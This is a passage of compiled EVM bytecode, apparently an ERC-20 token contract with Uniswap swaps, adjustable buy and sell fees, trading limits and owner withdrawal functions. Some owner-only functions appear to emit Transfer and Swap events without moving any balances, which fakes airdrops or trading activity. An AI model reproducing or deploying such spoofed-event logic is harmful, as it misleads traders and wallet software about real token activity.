0080fd5b506107d660048036038101906107d19190613e18565b61197a565b005b3480156107e457600080fd5b506107ed611a13565b6040516107fa9190613af1565b60405180910390f35b34801561080f57600080fd5b5061082a60048036038101906108259190613f8d565b611aa5565b005b34801561083857600080fd5b50610853600480360381019061084e9190613dd8565b611bc4565b005b34801561086157600080fd5b5061086a611cdd565b6040516108779190613c9d565b60405180910390f35b34801561088c57600080fd5b506108a760048036038101906108a29190614044565b611ce3565b005b3480156108b557600080fd5b506108d060048036038101906108cb9190613b71565b611e6e565b6040516108dd9190613bcc565b60405180910390f35b3480156108f257600080fd5b5061090d60048036038101906109089190613a18565b611e8c565b005b34801561091b57600080fd5b5061093660048036038101906109319190613be7565b611f30565b6040516109439190613bcc565b60405180910390f35b34801561095857600080fd5b50610961611f50565b60405161096e9190613bcc565b60405180910390f35b34801561098357600080fd5b5061099e60048036038101906109999190613dd8565b611f63565b005b3480156109ac57600080fd5b506109b5612088565b6040516109c29190613bcc565b60405180910390f35b3480156109d757600080fd5b506109e061209b565b6040516109ed9190613c9d565b60405180910390f35b348015610a0257600080fd5b50610a0b6120a1565b604051610a189190613c9d565b60405180910390f35b348015610a2d57600080fd5b50610a486004803603810190610a439190613d6c565b6120a7565b604051610a559190613c9d565b60405180910390f35b348015610a6a57600080fd5b50610a7361212e565b604051610a809190613c9d565b60405180910390f35b348015610a9557600080fd5b50610a9e612134565b604051610aab9190613c9d565b60405180910390f35b348015610ac057600080fd5b50610adb6004803603810190610ad69190613be7565b61213a565b005b348015610ae957600080fd5b50610af2612232565b604051610aff9190613c9d565b60405180910390f35b348015610b1457600080fd5b50610b1d612238565b604051610b2a9190613c9d565b60405180910390f35b610b3b61223e565b73ffffffffffffffffffffffffffffffffffffffff16610b59611924565b73ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690614104565b60405180910390fd5b8160138190555080601481905550601454601354610bcd9190614153565b601281905550600a6012541115610c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c10906141f5565b60405180910390fd5b5050565b606060038054610c2c90614244565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5890614244565b8015610ca55780601f10610c7a57610100808354040283529160200191610ca5565b820191906000526020600020905b815481529060010190602001808311610c8857829003601f168201915b5050505050905090565b6000610cc3610cbc61223e565b8484612246565b6001905092915050565b60186020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b610d2361223e565b73ffffffffffffffffffffffffffffffffffffffff16610d41611924565b73ffffffffffffffffffffffffffffffffffffffff1614610d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8e90614104565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60155481565b6000610e6a848484612411565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610eb561223e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c906142e8565b60405180910390fd5b610f4985610f4161223e565b858403612246565b60019150509392505050565b61dead81565b60006012905090565b610f6c61223e565b73ffffffffffffffffffffffffffffffffffffffff16610f8a611924565b73ffffffffffffffffffffffffffffffffffffffff1614610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd790614104565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790614354565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b6906143c0565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016110fa9190613d1a565b60206040518083038186803b15801561111257600080fd5b505afa158015611126573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114a91906143f5565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401611187929190614422565b602060405180830381600087803b1580156111a157600080fd5b505af11580156111b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d99190614460565b50505050565b6111e761223e565b73ffffffffffffffffffffffffffffffffffffffff16611205611924565b73ffffffffffffffffffffffffffffffffffffffff161461125b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125290614104565b60405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112969190613d1a565b60206040518083038186803b1580156112ae57600080fd5b505afa1580156112c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e691906143f5565b90503073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401611323929190614422565b602060405180830381600087803b15801561133d57600080fd5b505af1158015611351573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113759190614460565b503373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156113bc573d6000803e3d6000fd5b5050565b7f000000000000000000000000ce196ad04550c60f87f0b1bbf26c254aa50969ba81565b600c60009054906101000a900460ff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61145561223e565b73ffffffffffffffffffffffffffffffffffffffff16611473611924565b73ffffffffffffffffffffffffffffffffffffffff16146114c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c090614104565b60405180910390fd5b81601081905550806011819055506011546010546114e79190614153565b600f81905550600a600f541115611533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152a906144d9565b60405180910390fd5b5050565b61153f61223e565b73ffffffffffffffffffffffffffffffffffffffff1661155d611924565b73ffffffffffffffffffffffffffffffffffffffff16146115b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115aa90614104565b60405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b600c60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61166061223e565b73ffffffffffffffffffffffffffffffffffffffff1661167e611924565b73ffffffffffffffffffffffffffffffffffffffff16146116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90614104565b60405180910390fd5b6116f1732fef94337338eb55db6a0fe2191f119959d3a718613051565b565b60006116fd61223e565b73ffffffffffffffffffffffffffffffffffffffff1661171b611924565b73ffffffffffffffffffffffffffffffffffffffff1614611771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176890614104565b60405180910390fd5b6000600c60006101000a81548160ff0219169083151502179055506001905090565b61179b61223e565b73ffffffffffffffffffffffffffffffffffffffff166117b9611924565b73ffffffffffffffffffffffffffffffffffffffff161461180f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180690614104565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60115481565b61187861223e565b73ffffffffffffffffffffffffffffffffffffffff16611896611924565b73ffffffffffffffffffffffffffffffffffffffff16146118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390614104565b60405180910390fd5b6001600c60016101000a81548160ff0219169083151502179055506001600c60026101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b61198261223e565b73ffffffffffffffffffffffffffffffffffffffff166119a0611924565b73ffffffffffffffffffffffffffffffffffffffff16146119f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ed90614104565b60405180910390fd5b80600c60026101000a81548160ff02191690831515021790555050565b606060048054611a2290614244565b80601f0160208091040260200160405190810160405280929190818152602001828054611a4e90614244565b8015611a9b5780601f10611a7057610100808354040283529160200191611a9b565b820191906000526020600020905b815481529060010190602001808311611a7e57829003601f168201915b5050505050905090565b611aad61223e565b73ffffffffffffffffffffffffffffffffffffffff16611acb611924565b73ffffffffffffffffffffffffffffffffffffffff1614611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1890614104565b60405180910390fd5b60005b8251811015611bbf57828181518110611b4057611b3f6144f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ba49190613c9d565b60405180910390a38080611bb790614528565b915050611b24565b505050565b611bcc61223e565b73ffffffffffffffffffffffffffffffffffffffff16611bea611924565b73ffffffffffffffffffffffffffffffffffffffff1614611c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3790614104565b60405180910390fd5b7f000000000000000000000000ce196ad04550c60f87f0b1bbf26c254aa50969ba73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc6906145e3565b60405180910390fd5b611cd98282613117565b5050565b60165481565b60005b84849050811015611e6757848482818110611d0457611d036144f9565b5b9050602002016020810190611d199190613be7565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051611d9e949392919061463e565b60405180910390a3848482818110611db957611db86144f9565b5b9050602002016020810190611dce9190613be7565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e4c9190613c9d565b60405180910390a38080611e5f90614528565b915050611ce6565b5050505050565b6000611e82611e7b61223e565b8484612411565b6001905092915050565b611e9461223e565b73ffffffffffffffffffffffffffffffffffffffff16611eb2611924565b73ffffffffffffffffffffffffffffffffffffffff1614611f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eff90614104565b60405180910390fd5b8160138190555080601481905550601454601354611f269190614153565b6012819055505050565b60196020528060005260406000206000915054906101000a900460ff1681565b600c60019054906101000a900460ff1681565b611f6b61223e565b73ffffffffffffffffffffffffffffffffffffffff16611f89611924565b73ffffffffffffffffffffffffffffffffffffffff1614611fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd690614104565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161207c9190613bcc565b60405180910390a25050565b600e60009054906101000a900460ff1681565b60095481565b600f5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b60105481565b61214261223e565b73ffffffffffffffffffffffffffffffffffffffff16612160611924565b73ffffffffffffffffffffffffffffffffffffffff16146121b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ad90614104565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221d906146f5565b60405180910390fd5b61222f81613051565b50565b60135481565b600b5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ad90614787565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231d90614819565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516124049190613c9d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612481576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612478906148ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e89061493d565b60405180910390fd5b600081141561250b57612506838360006131b8565b61304c565b600c60009054906101000a900460ff1615612bda57612528611924565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156125965750612566611924565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156125cf5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612609575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126225750600560149054906101000a900460ff16155b15612bd957600c60019054906101000a900460ff1661271c57601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126dc5750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61271b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612712906149a9565b60405180910390fd5b5b600e60009054906101000a900460ff16156128f057612739611924565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156127c057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561281857507f000000000000000000000000ce196ad04550c60f87f0b1bbf26c254aa50969ba73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156128ef57436001600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286a9190614153565b106128aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a190614a61565b60405180910390fd5b43600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129935750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612a3a576009548111156129dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d490614af3565b60405180910390fd5b600b546129e983611610565b826129f49190614153565b1115612a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2c90614b5f565b60405180910390fd5b612bd8565b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612add5750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b2c57600954811115612b27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1e90614bf1565b60405180910390fd5b612bd7565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612bd657600b54612b8983611610565b82612b949190614153565b1115612bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bcc90614b5f565b60405180910390fd5b5b5b5b5b5b6000612be530611610565b90506000600a548210159050808015612c0a5750600c60029054906101000a900460ff165b8015612c235750600560149054906101000a900460ff16155b8015612c795750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612ccf5750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d255750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d69576001600560146101000a81548160ff021916908315150217905550612d4d613439565b6000600560146101000a81548160ff0219169083151502179055505b6000600560149054906101000a900460ff16159050601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e1f5750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612e2957600090505b6000811561303c57601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e8c57506000601254115b15612f2657612eb96064612eab6012548861364690919063ffffffff16565b61365c90919063ffffffff16565b905060125460135482612ecc9190614c11565b612ed69190614c9a565b60156000828254612ee79190614153565b9250508190555060125460145482612eff9190614c11565b612f099190614c9a565b60166000828254612f1a9190614153565b92505081905550613018565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612f8157506000600f54115b1561301757612fae6064612fa0600f548861364690919063ffffffff16565b61365c90919063ffffffff16565b9050600f5460105482612fc19190614c11565b612fcb9190614c9a565b60156000828254612fdc9190614153565b92505081905550600f5460115482612ff49190614c11565b612ffe9190614c9a565b6016600082825461300f9190614153565b925050819055505b5b600081111561302d5761302c8730836131b8565b5b80856130399190614ccb565b94505b6130478787876131b8565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161321f906148ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161328f9061493d565b60405180910390fd5b6132a3838383613672565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161332090614d71565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546133bc9190614153565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516134209190613c9d565b60405180910390a3613433848484613677565b50505050565b600061344430611610565b905060006016546015546134589190614153565b905060008083148061346a5750600082145b1561347757505050613644565b6014600a546134869190614c11565b83111561349f576014600a5461349c9190614c11565b92505b6000600283601554866134b29190614c11565b6134bc9190614c9a565b6134c69190614c9a565b905060006134dd828661367c90919063ffffffff16565b905060004790506134ed82613692565b6000613502824761367c90919063ffffffff16565b9050600061352d8761351f6016548561364690919063ffffffff16565b61365c90919063ffffffff16565b90506000818361353d9190614ccb565b905060006015819055506000601681905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260405161359590614dc2565b60006040518083038185875af1925050503d80600081146135d2576040519150601f19603f3d011682016040523d82523d6000602084013e6135d7565b606091505b5050809750506000861180156135ed5750600081115b1561363a576135fc86826138de565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858260155460405161363193929190614dd7565b60405180910390a15b5050505050505050505b565b600081836136549190614c11565b905092915050565b6000818361366a9190614c9a565b905092915050565b505050565b505050565b6000818361368a9190614ccb565b905092915050565b6000600267ffffffffffffffff8111156136af576136ae613e4a565b5b6040519080825280602002602001820160405280156136dd5781602001602082028036833780820191505090505b50905030816000815181106136f5576136f46144f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561379557600080fd5b505afa1580156137a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137cd9190614e23565b816001815181106137e1576137e06144f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613846307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612246565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016138a8959493929190614f0e565b600060405180830381600087803b1580156138c257600080fd5b505af11580156138d6573d6000803e3d6000fd5b505050505050565b613909307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612246565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613953611924565b426040518863ffffffff1660e01b815260040161397596959493929190614f68565b6060604051808303818588803b15801561398e57600080fd5b505af11580156139a2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906139c79190614fc9565b5050505050565b6000604051905090565b600080fd5b600080fd5b6000819050919050565b6139f5816139e2565b8114613a0057600080fd5b50565b600081359050613a12816139ec565b92915050565b60008060408385031215613a2f57613a2e6139d8565b5b6000613a3d85828601613a03565b9250506020613a4e85828601613a03565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613a92578082015181840152602081019050613a77565b83811115613aa1576000848401525b50505050565b6000601f19601f8301169050919050565b6000613ac382613a58565b613acd8185613a63565b9350613add818560208601613a74565b613ae681613aa7565b840191505092915050565b60006020820190508181036000830152613b0b8184613ab8565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613b3e82613b13565b9050919050565b613b4e81613b33565b8114613b5957600080fd5b50565b600081359050613b6b81613b45565b92915050565b60008060408385031215613b8857613b876139d8565b5b6000613b9685828601613b5c565b9250506020613ba785828601613a03565b9150509250929050565b60008115159050919050565b613bc681613bb1565b82525050565b6000602082019050613be16000830184613bbd565b92915050565b600060208284031215613bfd57613bfc6139d8565b5b6000613c0b84828501613b5c565b91505092915050565b6000819050919050565b6000613c39613c34613c2f84613b13565b613c14565b613b13565b9050919050565b6000613c4b82613c1e565b9050919050565b6000613c5d82613c40565b9050919050565b613c6d81613c52565b82525050565b6000602082019050613c886000830184613c64565b92915050565b613c97816139e2565b82525050565b6000602082019050613cb26000830184613c8e565b92915050565b600080600060608486031215613cd157613cd06139d8565b5b6000613cdf86828701613b5c565b9350506020613cf086828701613b5c565b9250506040613d0186828701613a03565b9150509250925092565b613d1481613b33565b82525050565b6000602082019050613d2f6000830184613d0b565b92915050565b600060ff82169050919050565b613d4b81613d35565b82525050565b6000602082019050613d666000830184613d42565b92915050565b60008060408385031215613d8357613d826139d8565b5b6000613d9185828601613b5c565b9250506020613da285828601613b5c565b9150509250929050565b613db581613bb1565b8114613dc057600080fd5b50565b600081359050613dd281613dac565b92915050565b60008060408385031215613def57613dee6139d8565b5b6000613dfd85828601613b5c565b9250506020613e0e85828601613dc3565b9150509250929050565b600060208284031215613e2e57613e2d6139d8565b5b6000613e3c84828501613dc3565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613e8282613aa7565b810181811067ffffffffffffffff82111715613ea157613ea0613e4a565b5b80604052505050565b6000613eb46139ce565b9050613ec08282613e79565b919050565b600067ffffffffffffffff821115613ee057613edf613e4a565b5b602082029050602081019050919050565b600080fd5b6000613f09613f0484613ec5565b613eaa565b90508083825260208201905060208402830185811115613f2c57613f2b613ef1565b5b835b81811015613f555780613f418882613b5c565b845260208401935050602081019050613f2e565b5050509392505050565b600082601f830112613f7457613f73613e45565b5b8135613f84848260208601613ef6565b91505092915050565b60008060408385031215613fa457613fa36139d8565b5b600083013567ffffffffffffffff811115613fc257613fc16139dd565b5b613fce85828601613f5f565b9250506020613fdf85828601613a03565b9150509250929050565b600080fd5b60008083601f84011261400457614003613e45565b5b8235905067ffffffffffffffff81111561402157614020613fe9565b5b60208301915083602082028301111561403d5761403c613ef1565b5b9250929050565b6000806000806060858703121561405e5761405d6139d8565b5b600085013567ffffffffffffffff81111561407c5761407b6139dd565b5b61408887828801613fee565b9450945050602061409b87828801613a03565b92505060406140ac87828801613a03565b91505092959194509250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006140ee602083613a63565b91506140f9826140b8565b602082019050919050565b6000602082019050818103600083015261411d816140e1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061415e826139e2565b9150614169836139e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561419e5761419d614124565b5b828201905092915050565b7f53656c6c20466565000000000000000000000000000000000000000000000000600082015250565b60006141df600883613a63565b91506141ea826141a9565b602082019050919050565b6000602082019050818103600083015261420e816141d2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061425c57607f821691505b602082108114156142705761426f614215565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006142d2602883613a63565b91506142dd82614276565b604082019050919050565b60006020820190508181036000830152614301816142c5565b9050919050565b7f5f746f6b656e20616464726573732063616e6e6f742062652030000000000000600082015250565b600061433e601a83613a63565b915061434982614308565b602082019050919050565b6000602082019050818103600083015261436d81614331565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e7300000000600082015250565b60006143aa601c83613a63565b91506143b582614374565b602082019050919050565b600060208201905081810360008301526143d98161439d565b9050919050565b6000815190506143ef816139ec565b92915050565b60006020828403121561440b5761440a6139d8565b5b6000614419848285016143e0565b91505092915050565b60006040820190506144376000830185613d0b565b6144446020830184613c8e565b9392505050565b60008151905061445a81613dac565b92915050565b600060208284031215614476576144756139d8565b5b60006144848482850161444b565b91505092915050565b7f4275792046656500000000000000000000000000000000000000000000000000600082015250565b60006144c3600783613a63565b91506144ce8261448d565b602082019050919050565b600060208201905081810360008301526144f2816144b6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000614533826139e2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561456657614565614124565b5b600182019050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006145cd603983613a63565b91506145d882614571565b604082019050919050565b600060208201905081810360008301526145fc816145c0565b9050919050565b6000819050919050565b600061462861462361461e84614603565b613c14565b6139e2565b9050919050565b6146388161460d565b82525050565b60006080820190506146536000830187613c8e565b614660602083018661462f565b61466d604083018561462f565b61467a6060830184613c8e565b95945050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006146df602683613a63565b91506146ea82614683565b604082019050919050565b6000602082019050818103600083015261470e816146d2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614771602483613a63565b915061477c82614715565b604082019050919050565b600060208201905081810360008301526147a081614764565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614803602283613a63565b915061480e826147a7565b604082019050919050565b6000602082